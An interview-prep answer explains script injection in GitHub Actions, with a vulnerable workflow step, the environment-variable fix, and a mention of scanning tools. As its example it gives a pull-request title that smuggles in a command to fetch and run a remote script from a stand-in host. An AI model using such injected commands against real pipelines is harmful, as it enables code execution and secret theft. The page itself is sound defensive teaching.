Interview Prep/CI/CD/GitHub Actions

What is script injection in GitHub Actions and how do you prevent it?

AdvancedConceptGitHub Actions
Answer

If untrusted data (PR title, branch name, issue body, commit message) is interpolated with ${{ }} into a run: script, it becomes part of the shell command. A PR titled "; curl evil.sh | sh # would execute.

Fix: pass the value through an environment variable and reference it as a shell variable, which is treated as data.

# vulnerable
- run: echo "${{ github.event.pull_request.title }}"
# safe
- run: echo "$PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Scan workflows with zizmor or actionlint in CI.

All CI/CD questions

More on GitHub Actions